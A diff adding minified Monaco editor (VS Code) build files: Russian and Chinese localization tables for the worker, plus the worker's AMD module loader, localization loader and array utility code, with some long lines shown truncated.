*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.ru",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u043C\u0430\u0441\u0441\u0438\u0432","\u043B\u043E\u0433\u0438\u0447\u0435\u0441\u043A\u043E\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u0438\u0435","\u043A\u043B\u0430\u0441\u0441","\u043A\u043E\u043D\u0441\u0442\u0430\u043D\u0442\u0430","\u043A\u043E\u043D\u0441\u0442\u0440\u0443\u043A\u0442\u043E\u0440","\u043F\u0435\u0440\u0435\u0447\u0438\u0441\u043B\u0435\u043D\u0438\u0435","\u044D\u043B\u0435\u043C\u0435\u043D\u0442 \u043F\u0435\u0440\u0435\u0447\u0438\u0441\u043B\u0435\u043D\u0438\u044F","\u0441\u043E\u0431\u044B\u0442\u0438\u0435","\u043F\u043E\u043B\u0435","\u0444\u0430\u0439\u043B","\u0444\u0443\u043D\u043A\u0446\u0438\u044F","\u0438\u043D\u0442\u0435\u0440\u0444\u0435\u0439\u0441","\u043A\u043B\u044E\u0447","\u043C\u0435\u0442\u043E\u0434","\u043C\u043E\u0434\u0443\u043B\u044C","\u043F\u0440\u043E\u0441\u0442\u0440\u0430\u043D\u0441\u0442\u0432\u043E \u0438\u043C\u0435\u043D","NULL","\u0447\u0438\u0441\u043B\u043E","\u043E\u0431\u044A\u0435\u043A\u0442","\u043E\u043F\u0435\u0440\u0430\u0442\u043E\u0440","\u043F\u0430\u043A\u0435\u0442","\u0441\u0432\u043E\u0439\u0441\u0442\u0432\u043E","\u0441\u0442\u0440\u043E\u043A\u0430","\u0441\u0442\u0440\u0443\u043A\u0442\u0443\u0440\u0430","\u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440 \u0442\u0438\u043F\u0430","\u041F\u0435\u0440\u0435\u043C\u0435\u043D\u043D\u0430\u044F","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.ru.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.zh-cn",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u6570\u7EC4","\u5E03\u5C14\u503C","\u7C7B","\u5E38\u6570","\u6784\u9020\u51FD\u6570","\u679A\u4E3E","\u679A\u4E3E\u6210\u5458","\u4E8B\u4EF6","\u5B57\u6BB5","\u6587\u4EF6","\u51FD\u6570","\u63A5\u53E3","\u952E","\u65B9\u6CD5","\u6A21\u5757","\u547D\u540D\u7A7A\u95F4","Null","\u6570\u5B57","\u5BF9\u8C61","\u8FD0\u7B97\u7B26","\u5305","\u5C5E\u6027","\u5B57\u7B26\u4E32","\u7ED3\u6784","\u7C7B\u578B\u53C2\u6570","\u53D8\u91CF","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.zh-cn.js.map
@@ -0,0 +1,8 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/define("vs/base/common/worker/simpleWorker.nls.zh-tw",{"vs/base/common/platform":["_"],"vs/editor/common/languages":["\u9663\u5217","\u5E03\u6797\u503C","\u985E\u5225","\u5E38\u6578","\u5EFA\u69CB\u51FD\u5F0F","\u5217\u8209","\u5217\u8209\u6210\u54E1","\u4E8B\u4EF6","\u6B04\u4F4D","\u6A94\u6848","\u51FD\u5F0F","\u4ECB\u9762","\u7D22\u5F15\u9375","\u65B9\u6CD5","\u6A21\u7D44","\u547D\u540D\u7A7A\u9593","null","\u6578\u5B57","\u7269\u4EF6","\u904B\u7B97\u5B50","\u5957\u4EF6","\u5C6C\u6027","\u5B57\u4E32","\u7D50\u69CB","\u578B\u5225\u53C3\u6578","\u8B8A\u6578","{0} ({1})"]});
//# sourceMappingURL=../../../../../min-maps/vs/base/common/worker/simpleWorker.nls.zh-tw.js.map
@@ -0,0 +1,27 @@
/*!-----------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/vscode/blob/main/LICENSE.txt
*-----------------------------------------------------------*/(function(){var X=["require","exports","vs/editor/common/core/range","vs/editor/common/core/offsetRange","vs/editor/common/core/position","vs/base/common/errors","vs/base/common/strings","vs/base/common/arrays","vs/editor/common/diff/defaultLinesDiffComputer/algorithms/diffAlgorithm","vs/base/common/event","vs/editor/common/core/lineRange","vs/base/common/arraysFind","vs/base/common/assert","vs/base/common/lifecycle","vs/base/common/objects","vs/editor/common/diff/defaultLinesDiffComputer/utils","vs/editor/common/diff/rangeMapping","vs/base/common/platform","vs/base/common/uri","vs/nls","vs/base/common/functional","vs/base/common/iterator","vs/base/common/linkedList","vs/base/common/stopwatch","vs/base/common/diff/diff","vs/base/common/types","vs/base/common/uint","vs/editor/common/core/characterClassifier","vs/editor/common/core/wordHelper","vs/editor/common/diff/defaultLinesDiffComputer/algorithms/myersDiffAlgorithm","vs/editor/common/diff/defaultLinesDiffComputer/linesSliceCharSequence","vs/editor/common/diff/linesDiffComputer","vs/base/common/cache","vs/base/common/color","vs/base/common/diff/diffChange","vs/base/common/keyCodes","vs/base/common/lazy","vs/base/common/map","vs/base/common/cancellation","vs/base/common/hash","vs/base/common/codicons","vs/editor/common/core/selection","vs/editor/common/core/wordCharacterClassifier","vs/editor/common/diff/defaultLinesDiffComputer/heuristicSequenceOptimizations","vs/editor/common/diff/defaultLinesDiffComputer/lineSequence","vs/editor/common/diff/defaultLinesDiffComputer/algorithms/dynamicProgrammingDiffing","vs/editor/common/diff/defaultLinesDiffComputer/computeMovedLines","vs/editor/common/diff/defaultLinesDiffComputer/defaultLinesDiffComputer","vs/editor/common/diff/legacyLinesDiffComputer","vs/editor/common/diff/linesDiffComputers","vs/editor/common/languages/defaultDocumentColorsComputer","vs/editor/common/languages/linkComputer","vs/editor/common/languages/supports/inplaceReplaceSupport","vs/editor/common/model","vs/editor/common/model/prefixSumComputer","vs/editor/common/model/mirrorTextModel","vs/editor/common/model/textModelSearch","vs/editor/common/services/unicodeTextModelHighlighter","vs/editor/common/standalone/standaloneEnums","vs/editor/common/tokenizationRegistry","vs/nls!vs/base/common/platform","vs/nls!vs/base/common/worker/simpleWorker","vs/base/common/process","vs/base/common/path","vs/nls!vs/editor/common/languages","vs/editor/common/languages","vs/editor/common/services/editorBaseApi","vs/base/common/worker/simpleWorker","vs/editor/common/services/editorSimpleWorker"],J=function(T){for(var n=[],M=0,A=T.length;M<A;M++)n[M]=X[T[M]];return n};const Ne=this,Re=typeof global=="object"?global:{};var ae;(function(T){T.global=Ne;class n{get isWindows(){return this._detect(),this._isWindows}get isNode(){return this._detect(),this._isNode}get isElectronRenderer(){return this._detect(),this._isElectronRenderer}get isWebWorker(){return this._detect(),this._isWebWorker}get isElectronNodeIntegrationWebWorker(){return this._detect(),this._isElectronNodeIntegrationWebWorker}constructor(){this._detected=!1,this._isWindows=!1,this._isNode=!1,this._isElectronRenderer=!1,this._isWebWorker=!1,this._isElectronNodeIntegrationWebWorker=!1}_detect(){this._detected||(this._detected=!0,this._isWindows=n._isWindows(),this._isNode=typeof module<"u"&&!!module.exports,this._isElectronRenderer=typeof process<"u"&&typeof process.versions<"u"&&typeof process.versions.electron<"u"&&process.type==="renderer",this._isWebWorker=typeof T.global.importScripts=="function",this._isElectronNodeIntegrationWebWorker=this._isWebWorker&&typeof process<"u"&&typeof process.versions<"u"&&typeof process.versions.electron<"u"&&process.type==="worker")}static _isWindows(){return typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.indexOf("Windows")>=0?!0:typeof process<"u"?process.platform==="win32":!1}}T.Environment=n})(ae||(ae={}));var ae;(function(T){class n{constructor(d,m,L){this.type=d,this.detail=m,this.timestamp=L}}T.LoaderEvent=n;class M{constructor(d){this._events=[new n(1,"",d)]}record(d,m){this._events.push(new n(d,m,T.Utilities.getHighPerformanceTimestamp()))}getEvents(){return this._events}}T.LoaderEventRecorder=M;class A{record(d,m){}getEvents(){return[]}}A.INSTANCE=new A,T.NullLoaderEventRecorder=A})(ae||(ae={}));var ae;(function(T){class n{static fileUriToFilePath(A,i){if(i=decodeURI(i).replace(/%23/g,"#"),A){if(/^file:\/\/\//.test(i))return i.substr(8);if(/^file:\/\//.test(i))return i.substr(5)}else if(/^file:\/\//.test(i))return i.substr(7);return i}static startsWith(A,i){return A.length>=i.length&&A.substr(0,i.length)===i}static endsWith(A,i){return A.length>=i.length&&A.substr(A.length-i.length)===i}static containsQueryString(A){return/^[^\#]*\?/gi.test(A)}static isAbsolutePath(A){return/^((http:\/\/)|(https:\/\/)|(file:\/\/)|(\/))/.test(A)}static forEachProperty(A,i){if(A){let d;for(d in A)A.haLine truncated
//# sourceURL=${w}`,(c?self.eval(c.createScript("",f)):new Function(f)).call(self),e()}).then(void 0,a);return}try{c&&(w=c.createScriptURL(w)),importScripts(w),e()}catch(f){a(f)}}}}class d{constructor(o){this._env=o,this._didInitialize=!1,this._didPatchNodeRequire=!1}_init(o){this._didInitialize||(this._didInitialize=!0,this._fs=o("fs"),this._vm=o("vm"),this._path=o("path"),this._crypto=o("crypto"))}_initNodeRequire(o,w){const{nodeCachedData:e}=w.getConfig().getOptionsLiteral();if(!e||this._didPatchNodeRequire)return;this._didPatchNodeRequire=!0;const a=this,c=o("module");function l(f){const g=f.constructor;let S=function(E){try{return f.require(E)}finally{}};return S.resolve=function(E,y){return g._resolveFilename(E,f,!1,y)},S.resolve.paths=function(E){return g._resolveLookupPaths(E,f)},S.main=process.mainModule,S.extensions=g._extensions,S.cache=g._cache,S}c.prototype._compile=function(f,g){const S=c.wrap(f.replace(/^#!.*/,"")),_=w.getRecorder(),E=a._getCachedDataPath(e,g),y={filename:g};let v;try{const N=a._fs.readFileSync(E);v=N.slice(0,16),y.cachedData=N.slice(16),_.record(60,E)}catch{_.record(61,E)}const r=new a._vm.Script(S,y),s=r.runInThisContext(y),u=a._path.dirname(g),p=l(this),b=[this.exports,p,this,g,u,process,Re,Buffer],C=s.apply(this.exports,b);return a._handleCachedData(r,S,E,!y.cachedData,w),a._verifyCachedData(r,S,E,v,w),C}}load(o,w,e,a){const c=o.getConfig().getOptionsLiteral(),l=m(o.getRecorder(),c.nodeRequire||T.global.nodeRequire),f=c.nodeInstrumenter||function(S){return S};this._init(l),this._initNodeRequire(l,o);let g=o.getRecorder();if(/^node\|/.test(w)){let S=w.split("|"),_=null;try{_=l(S[1])}catch(E){a(E);return}o.enqueueDefineAnonymousModule([],()=>_),e()}else{w=T.Utilities.fileUriToFilePath(this._env.isWindows,w);const S=this._path.normalize(w),_=this._getElectronRendererScriptPathOrUri(S),E=!!c.nodeCachedData,y=E?this._getCachedDataPath(c.nodeCachedData,w):void 0;this._readSourceAndCachedData(S,y,g,(v,r,s,u)=>{if(v){a(v);return}let p;r.charCodeAt(0)===d._BOM?p=d._PREFIX+r.substring(1)+d._SUFFIX:p=d._PREFIX+r+d._SUFFIX,p=f(p,S);const b={filename:_,cachedData:s},C=this._createAndEvalScript(o,p,b,e,a);this._handleCachedData(C,p,y,E&&!s,o),this._verifyCachedData(C,p,y,u,o)})}}_createAndEvalScript(o,w,e,a,c){const l=o.getRecorder();l.record(31,e.filename);const f=new this._vm.Script(w,e),g=f.runInThisContext(e),S=o.getGlobalAMDDefineFunc();let _=!1;const E=function(){return _=!0,S.apply(null,arguments)};return E.amd=S.amd,g.call(T.global,o.getGlobalAMDRequireFunc(),E,e.filename,this._path.dirname(e.filename)),l.record(32,e.filename),_?a():c(new Error(`Didn't receive define call in ${e.filename}!`)),f}_getElectronRendererScriptPathOrUri(o){if(!this._env.isElectronRenderer)return o;let w=o.match(/^([a-z])\:(.*)/i);return w?`file:///${(w[1].toUpperCase()+":"+w[2]).replace(/\\/g,"/")}`:`file://${o}`}_getCachedDataPath(o,w){const e=this._crypto.createHash("md5").update(w,"utf8").update(o.seed,"utf8").update(process.arch,"").digest("hex"),a=this._path.basename(w).replace(/\.js$/,"");return this._path.join(o.path,`${a}-${e}.code`)}_handleCachedData(o,w,e,a,c){o.cachedDataRejected?this._fs.unlink(e,l=>{c.getRecorder().record(62,e),this._createAndWriteCachedData(o,w,e,c),l&&c.getConfig().onError(l)}):a&&this._createAndWriteCachedData(o,w,e,c)}_createAndWriteCachedData(o,w,e,a){let c=Math.ceil(a.getConfig().getOptionsLiteral().nodeCachedData.writeDelay*(1+Math.random())),l=-1,f=0,g;const S=()=>{setTimeout(()=>{g||(g=this._crypto.createHash("md5").update(w,"utf8").digest());const _=o.createCachedData();if(!(_.length===0||_.length===l||f>=5)){if(_.length<l){S();return}l=_.length,this._fs.writeFile(e,Buffer.concat([g,_]),E=>{E&&a.getConfig().onError(E),a.getRecorder().record(63,e),S()})}},c*Math.pow(4,f++))};S()}_readSourceAndCachedData(o,w,e,a){if(!w)this._fs.readFile(o,{encoding:"utf8"},a);else{let c,l,f,g=2;const S=_=>{_?a(_):--g===0&&a(void 0,c,l,f)};this._fs.readFile(o,{encoding:"utf8"},(_,E)=>{c=E,S(_)}),this._fs.readFile(w,(_,E)=>{!_&&E&&E.length>0?(f=E.slice(0,16),l=E.slice(16),e.record(60,w)):e.record(61,w),S()})}}_verifyCachedData(o,w,e,a,c){a&&(o.cachedDataRejected||setTimeout(()=>{const l=this._crypto.createHash("md5").update(w,"utf8").digest();a.equals(l)||(c.getConfig().onError(new Error(`FAILED TO VERIFY CACHED DATA, deleting stale '${e}' now, but a RESTART IS REQUIRED`)),this._fs.unlink(e,f=>{f&&c.getConfig().onError(f)}))},Math.ceil(5e3*(1+Math.random()))))}}d._BOM=65279,d._PREFIX="(function (require, define, __filename, __dirname) { ",d._SUFFIX=`
});`;function m(h,o){if(o.__$__isRecorded)return o;const w=function(a){h.record(33,a);try{return o(a)}finally{h.record(34,a)}};return w.__$__isRecorded=!0,w}T.ensureRecordedNodeRequire=m;function L(h){return new n(h)}T.createScriptLoader=L})(ae||(ae={}));var ae;(function(T){class n{constructor(h){let o=h.lastIndexOf("/");o!==-1?this.fromModulePath=h.substr(0,o+1):this.fromModulePath=""}static _normalizeModuleId(h){let o=h,w;for(w=/\/\.\//;w.test(o);)o=o.replace(w,"/");for(o=o.replace(/^\.\//g,""),w=/\/(([^\/])|([^\/][^\/\.])|([^\/\.][^\/])|([^\/][^\/][^\/]+))\/\.\.\//;w.test(o);)o=o.replace(w,"/");return o=o.replace(/^(([^\/])|([^\/][^\/\.])|([^\/\.][^\/])|([^\/][^\/][^\/]+))\/\.\.\//,""),o}resolveModule(h){let o=h;return T.Utilities.isAbsolutePath(o)||(T.Utilities.startsWith(o,"./")||T.Utilities.startsWith(o,"../"))&&(o=n._normalizeModuleId(this.fromModulePath+o)),o}}n.ROOT=new n(""),T.ModuleIdResolver=n;class M{constructor(h,o,w,e,a,c){this.id=h,this.strId=o,this.dependencies=w,this._callback=e,this._errorback=a,this.moduleIdResolver=c,this.exports={},this.error=null,this.exportsPassedIn=!1,this.unresolvedDependenciesCount=this.dependencies.length,this._isComplete=!1}static _safeInvokeFunction(h,o){try{return{returnedValue:h.apply(T.global,o),producedError:null}}catch(w){return{returnedValue:null,producedError:w}}}static _invokeFactory(h,o,w,e){return h.shouldInvokeFactory(o)?h.shouldCatchError()?this._safeInvokeFunction(w,e):{returnedValue:w.apply(T.global,e),producedError:null}:{returnedValue:null,producedError:null}}complete(h,o,w,e){this._isComplete=!0;let a=null;if(this._callback)if(typeof this._callback=="function"){h.record(21,this.strId);let c=M._invokeFactory(o,this.strId,this._callback,w);a=c.producedError,h.record(22,this.strId),!a&&typeof c.returnedValue<"u"&&(!this.exportsPassedIn||T.Utilities.isEmpty(this.exports))&&(this.exports=c.returnedValue)}else this.exports=this._callback;if(a){let c=T.ensureError(a);c.phase="factory",c.moduleId=this.strId,c.neededBy=e(this.id),this.error=c,o.onError(c)}this.dependencies=null,this._callback=null,this._errorback=null,this.moduleIdResolver=null}onDependencyError(h){return this._isComplete=!0,this.error=h,this._errorback?(this._errorback(h),!0):!1}isComplete(){return this._isComplete}}T.Module=M;class A{constructor(){this._nextId=0,this._strModuleIdToIntModuleId=new Map,this._intModuleIdToStrModuleId=[],this.getModuleId("exports"),this.getModuleId("module"),this.getModuleId("require")}getMaxModuleId(){return this._nextId}getModuleId(h){let o=this._strModuleIdToIntModuleId.get(h);return typeof o>"u"&&(o=this._nextId++,this._strModuleIdToIntModuleId.set(h,o),this._intModuleIdToStrModuleId[o]=h),o}getStrModuleId(h){return this._intModuleIdToStrModuleId[h]}}class i{constructor(h){this.id=h}}i.EXPORTS=new i(0),i.MODULE=new i(1),i.REQUIRE=new i(2),T.RegularDependency=i;class d{constructor(h,o,w){this.id=h,this.pluginId=o,this.pluginParam=w}}T.PluginDependency=d;class m{constructor(h,o,w,e,a=0){this._env=h,this._scriptLoader=o,this._loaderAvailableTimestamp=a,this._defineFunc=w,this._requireFunc=e,this._moduleIdProvider=new A,this._config=new T.Configuration(this._env),this._hasDependencyCycle=!1,this._modules2=[],this._knownModules2=[],this._inverseDependencies2=[],this._inversePluginDependencies2=new Map,this._currentAnonymousDefineCall=null,this._recorder=null,this._buildInfoPath=[],this._buildInfoDefineStack=[],this._buildInfoDependencies=[],this._requireFunc.moduleManager=this}reset(){return new m(this._env,this._scriptLoader,this._defineFunc,this._requireFunc,this._loaderAvailableTimestamp)}getGlobalAMDDefineFunc(){return this._defineFunc}getGlobalAMDRequireFunc(){return this._requireFunc}static _findRelevantLocationInStack(h,o){let w=c=>c.replace(/\\/g,"/"),e=w(h),a=o.split(/\n/);for(let c=0;c<a.length;c++){let l=a[c].match(/(.*):(\d+):(\d+)\)?$/);if(l){let f=l[1],g=l[2],S=l[3],_=Math.max(f.lastIndexOf(" ")+1,f.lastIndexOf("(")+1);if(f=f.substr(_),f=w(f),f===e){let E={line:parseInt(g,10),col:parseInt(S,10)};return E.line===1&&(E.col-=53),E}}}throw new Error("Could not correlate define call site for needle "+h)}getBuildInfo(){if(!this._config.isBuild())return null;let h=[],o=0;for(let w=0,e=this._modules2.length;w<e;w++){let a=this._modules2[w];if(!a)continue;let c=this._buildInfoPath[a.id]||null,l=this._buildInfoDefineStack[a.id]||null,f=this._buildInfoDependencies[a.id];h[o++]={id:a.strId,path:c,defineLocation:c&&l?m._findRelevantLocationInStack(c,l):null,dependencies:f,shim:null,exports:a.exports}}return h}getRecorder(){return this._recorder||(this._config.shouldRecordStats()?this._recorder=new T.LoaderEventRecorder(this._loaderAvailableTimestamp):this._recorder=T.NullLoaderEventRecorder.INSTANCE),this._recorder}getLoaderEvents(){return this.getRecorder().getEvents()}enqueueDefineAnonymousModule(h,o){if(this._currentAnonymousDefineCall!==null)throw new Error("Can only have one anonymous define call per script file");let w=null;this._config.isBuild()&& Line truncated
`)),h.unresolvedDependenciesCount--;continue}if(this._inverseDependencies2[a.id]=this._inverseDependencies2[a.id]||[],this._inverseDependencies2[a.id].push(h.id),a instanceof d){let l=this._modules2[a.pluginId];if(l&&l.isComplete()){this._loadPluginDependency(l.exports,a);continue}let f=this._inversePluginDependencies2.get(a.pluginId);f||(f=[],this._inversePluginDependencies2.set(a.pluginId,f)),f.push(a),this._loadModule(a.pluginId);continue}this._loadModule(a.id)}h.unresolvedDependenciesCount===0&&this._onModuleComplete(h)}_onModuleComplete(h){let o=this.getRecorder();if(h.isComplete())return;let w=h.dependencies,e=[];if(w)for(let f=0,g=w.length;f<g;f++){let S=w[f];if(S===i.EXPORTS){e[f]=h.exports;continue}if(S===i.MODULE){e[f]={id:h.strId,config:()=>this._config.getConfigForModule(h.strId)};continue}if(S===i.REQUIRE){e[f]=this._createRequire(h.moduleIdResolver);continue}let _=this._modules2[S.id];if(_){e[f]=_.exports;continue}e[f]=null}const a=f=>(this._inverseDependencies2[f]||[]).map(g=>this._moduleIdProvider.getStrModuleId(g));h.complete(o,this._config,e,a);let c=this._inverseDependencies2[h.id];if(this._inverseDependencies2[h.id]=null,c)for(let f=0,g=c.length;f<g;f++){let S=c[f],_=this._modules2[S];_.unresolvedDependenciesCount--,_.unresolvedDependenciesCount===0&&this._onModuleComplete(_)}let l=this._inversePluginDependencies2.get(h.id);if(l){this._inversePluginDependencies2.delete(h.id);for(let f=0,g=l.length;f<g;f++)this._loadPluginDependency(h.exports,l[f])}}}T.ModuleManager=m})(ae||(ae={}));var Y,ae;(function(T){const n=new T.Environment;let M=null;const A=function(L,h,o){typeof L!="string"&&(o=h,h=L,L=null),(typeof h!="object"||!Array.isArray(h))&&(o=h,h=null),h||(h=["require","exports","module"]),L?M.defineModule(L,h,o,null,null):M.enqueueDefineAnonymousModule(h,o)};A.amd={jQuery:!0};const i=function(L,h=!1){M.configure(L,h)},d=function(){if(arguments.length===1){if(arguments[0]instanceof Object&&!Array.isArray(arguments[0])){i(arguments[0]);return}if(typeof arguments[0]=="string")return M.synchronousRequire(arguments[0])}if((arguments.length===2||arguments.length===3)&&Array.isArray(arguments[0])){M.defineModule(T.Utilities.generateAnonymousModule(),arguments[0],arguments[1],arguments[2],null);return}throw new Error("Unrecognized require call")};d.config=i,d.getConfig=function(){return M.getConfig().getOptionsLiteral()},d.reset=function(){M=M.reset()},d.getBuildInfo=function(){return M.getBuildInfo()},d.getStats=function(){return M.getLoaderEvents()},d.define=A;function m(){if(typeof T.global.require<"u"||typeof require<"u"){const L=T.global.require||require;if(typeof L=="function"&&typeof L.resolve=="function"){const h=T.ensureRecordedNodeRequire(M.getRecorder(),L);T.global.nodeRequire=h,d.nodeRequire=h,d.__$__nodeRequire=h}}n.isNode&&!n.isElectronRenderer&&!n.isElectronNodeIntegrationWebWorker?module.exports=d:(n.isElectronRenderer||(T.global.define=A),T.global.require=d)}T.init=m,(typeof T.global.define!="function"||!T.global.define.amd)&&(M=new T.ModuleManager(n,T.createScriptLoader(n),A,d,T.Utilities.getHighPerformanceTimestamp()),typeof T.global.require<"u"&&typeof T.global.require!="function"&&d.config(T.global.require),Y=function(){return A.apply(null,arguments)},Y.amd=A.amd,typeof doNotInitLoader>"u"&&m())})(ae||(ae={}));var ue=this&&this.__awaiter||function(T,n,M,A){function i(d){return d instanceof M?d:new M(function(m){m(d)})}return new(M||(M=Promise))(function(d,m){function L(w){try{o(A.next(w))}catch(e){m(e)}}function h(w){try{o(A.throw(w))}catch(e){m(e)}}function o(w){w.done?d(w.value):i(w.value).then(L,h)}o((A=A.apply(T,n||[])).next())})};Y(X[19],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.load=n.create=n.setPseudoTranslation=n.getConfiguredDefaultLocale=n.localize=void 0;let M=typeof document<"u"&&document.location&&document.location.hash.indexOf("pseudo=true")>=0;const A="i-default";function i(l,f){let g;return f.length===0?g=l:g=l.replace(/\{(\d+)\}/g,(S,_)=>{const E=_[0],y=f[E];let v=S;return typeof y=="string"?v=y:(typeof y=="number"||typeof y=="boolean"||y===void 0||y===null)&&(v=String(y)),v}),M&&(g="\uFF3B"+g.replace(/[aouei]/g,"$&$&")+"\uFF3D"),g}function d(l,f){let g=l[f];return g||(g=l["*"],g)?g:null}function m(l){return l.charAt(l.length-1)==="/"?l:l+"/"}function L(l,f,g){return ue(this,void 0,void 0,function*(){const S=m(l)+m(f)+"vscode/"+m(g),_=yield fetch(S);if(_.ok)return yield _.json();throw new Error(`${_.status} - ${_.statusText}`)})}function h(l){return function(f,g){const S=Array.prototype.slice.call(arguments,2);return i(l[f],S)}}function o(l,f,...g){return i(f,g)}n.localize=o;function w(l){}n.getConfiguredDefaultLocale=w;function e(l){M=l}n.setPseudoTranslation=e;function a(l,f){var g;return{localize:h(f[l]),getConfiguredDefaultLocale:(g=f.getConfiguredDefaultLocale)!==null&&g!==void 0?g:S=>{}}}n.create=a;function c(l,f,g,S){var _;const E=(_=S["vs/nls"])!==null&&_!==void 0?_:{};if(!l||l.length===0)return g({loca Line truncated
})`}});function i(){try{return(A?globalThis.eval(A.createScript("","true")):new Function("true")).call(globalThis),!0}catch{return!1}}function d(){return new Promise((w,e)=>{if(typeof globalThis.define=="function"&&globalThis.define.amd)return w();const a=n+"vs/loader.js";if(!(/^((http:)|(https:)|(file:))/.test(a)&&a.substring(0,globalThis.origin.length)!==globalThis.origin)&&i()){fetch(a).then(l=>{if(l.status!==200)throw new Error(l.statusText);return l.text()}).then(l=>{l=`${l}
//# sourceURL=${a}`,(A?globalThis.eval(A.createScript("",l)):new Function(l)).call(globalThis),w()}).then(void 0,e);return}A?importScripts(A.createScriptURL(a)):importScripts(a),w()})}function m(){require.config({baseUrl:n,catchError:!0,trustedTypesPolicy:A,amdModulesPattern:/^vs\//})}function L(w){d().then(()=>{m(),require([w],function(e){setTimeout(function(){const a=e.create((c,l)=>{globalThis.postMessage(c,l)},null);for(globalThis.onmessage=c=>a.onmessage(c.data,c.ports);o.length>0;){const c=o.shift();a.onmessage(c.data,c.ports)}},0)})})}typeof globalThis.define=="function"&&globalThis.define.amd&&m();let h=!0;const o=[];globalThis.onmessage=w=>{if(!h){o.push(w);return}h=!1,L(w.data)}}(),Y(X[7],J([0,1]),function(T,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.CallbackIterable=n.ArrayQueue=n.reverseOrder=n.booleanComparator=n.numberComparator=n.tieBreakComparators=n.compareBy=n.CompareResult=n.splice=n.insertInto=n.asArray=n.pushMany=n.pushToEnd=n.pushToStart=n.arrayInsert=n.range=n.firstOrDefault=n.distinct=n.isNonEmptyArray=n.isFalsyOrEmpty=n.coalesceInPlace=n.coalesce=n.forEachWithNeighbors=n.forEachAdjacent=n.groupAdjacentBy=n.groupBy=n.quickSelect=n.binarySearch2=n.binarySearch=n.removeFastWithoutKeepingOrder=n.equals=n.tail2=n.tail=void 0;function M(x,O=0){return x[x.length-(1+O)]}n.tail=M;function A(x){if(x.length===0)throw new Error("Invalid tail call");return[x.slice(0,x.length-1),x[x.length-1]]}n.tail2=A;function i(x,O,F=(H,V)=>H===V){if(x===O)return!0;if(!x||!O||x.length!==O.length)return!1;for(let H=0,V=x.length;H<V;H++)if(!F(x[H],O[H]))return!1;return!0}n.equals=i;function d(x,O){const F=x.length-1;O<F&&(x[O]=x[F]),x.pop()}n.removeFastWithoutKeepingOrder=d;function m(x,O,F){return L(x.length,H=>F(x[H],O))}n.binarySearch=m;function L(x,O){let F=0,H=x-1;for(;F<=H;){const V=(F+H)/2|0,t=O(V);if(t<0)F=V+1;else if(t>0)H=V-1;else return V}return-(F+1)}n.binarySearch2=L;function h(x,O,F){if(x=x|0,x>=O.length)throw new TypeError("invalid index");const H=O[Math.floor(O.length*Math.random())],V=[],t=[],ne=[];for(const re of O){const le=F(re,H);le<0?V.push(re):le>0?t.push(re):ne.push(re)}return x<V.length?h(x,V,F):x<V.length+ne.length?ne[0]:h(x-(V.length+ne.length),t,F)}n.quickSelect=h;function o(x,O){const F=[];let H;for(const V of x.slice(0).sort(O))!H||O(H[0],V)!==0?(H=[V],F.push(H)):H.push(V);return F}n.groupBy=o;function*w(x,O){let F,H;for(const V of x)H!==void 0&&O(H,V)?F.push(V):(F&&(yield F),F=[V]),H=V;F&&(yield F)}n.groupAdjacentBy=w;function e(x,O){for(let F=0;F<=x.length;F++)O(F===0?void 0:x[F-1],F===x.length?void 0:x[F])}n.forEachAdjacent=e;function a(x,O){for(let F=0;F<x.length;F++)O(F===0?void 0:x[F-1],x[F],F+1===x.length?void 0:x[F+1])}n.forEachWithNeighbors=a;function c(x){return x.filter(O=>!!O)}n.coalesce=c;function l(x){let O=0;for(let F=0;F<x.length;F++)x[F]&&(x[O]=x[F],O+=1);x.length=O}n.coalesceInPlace=l;function f(x){return!Array.isArray(x)||x.length===0}n.isFalsyOrEmpty=f;function g(x){return Array.isArray(x)&&x.length>0}n.isNonEmptyArray=g;function S(x,O=F=>F){const F=new Set;return x.filter(H=>{const V=O(H);return F.has(V)?!1:(F.add(V),!0)})}n.distinct=S;function _(x,O){return x.length>0?x[0]:O}n.firstOrDefault=_;function E(x,O){let F=typeof O=="number"?x:0;typeof O=="number"?F=x:(F=0,O=x);const H=[];if(F<=O)for(let V=F;V<O;V++)H.push(V);else for(let V=F;V>O;V--)H.push(V);return H}n.range=E;function y(x,O,F){const H=x.slice(0,O),V=x.slice(O);return H.concat(F,V)}n.arrayInsert=y;function v(x,O){const F=x.indexOf(O);F>-1&&(x.splice(F,1),x.unshift(O))}n.pushToStart=v;function r(x,O){const F=x.indexOf(O);F>-1&&(x.splice(F,1),x.push(O))}n.pushToEnd=r;function s(x,O){for(const F of O)x.push(F)}n.pushMany=s;function u(x){return Array.isArray(x)?x:[x]}n.asArray=u;function p(x,O,F){const H=C(x,O),V=x.length,t=F.length;x.length=V+t;for(let ne=V-1;ne>=H;ne--)x[ne+t]=x[ne];for(let ne=0;ne<t;ne++)x[ne+H]=F[ne]}n.insertInto=p;function b(x,O,F,H){const V=C(x,O);let t=x.splice(V,F);return t===void 0&&(t=[]),p(x,V,H),t}n.splice=b;function C(x,O){return O<0?Math.max(O+x.length,0):Math.min(O,x.length)}var N;(function(x){function O(t){return t<0}x.isLessThan=O;function F(t){return t<=0}x.isLessThanOrEqual=F;function H(t){return t>0}x.isGreaterThan=H;function V(t){return 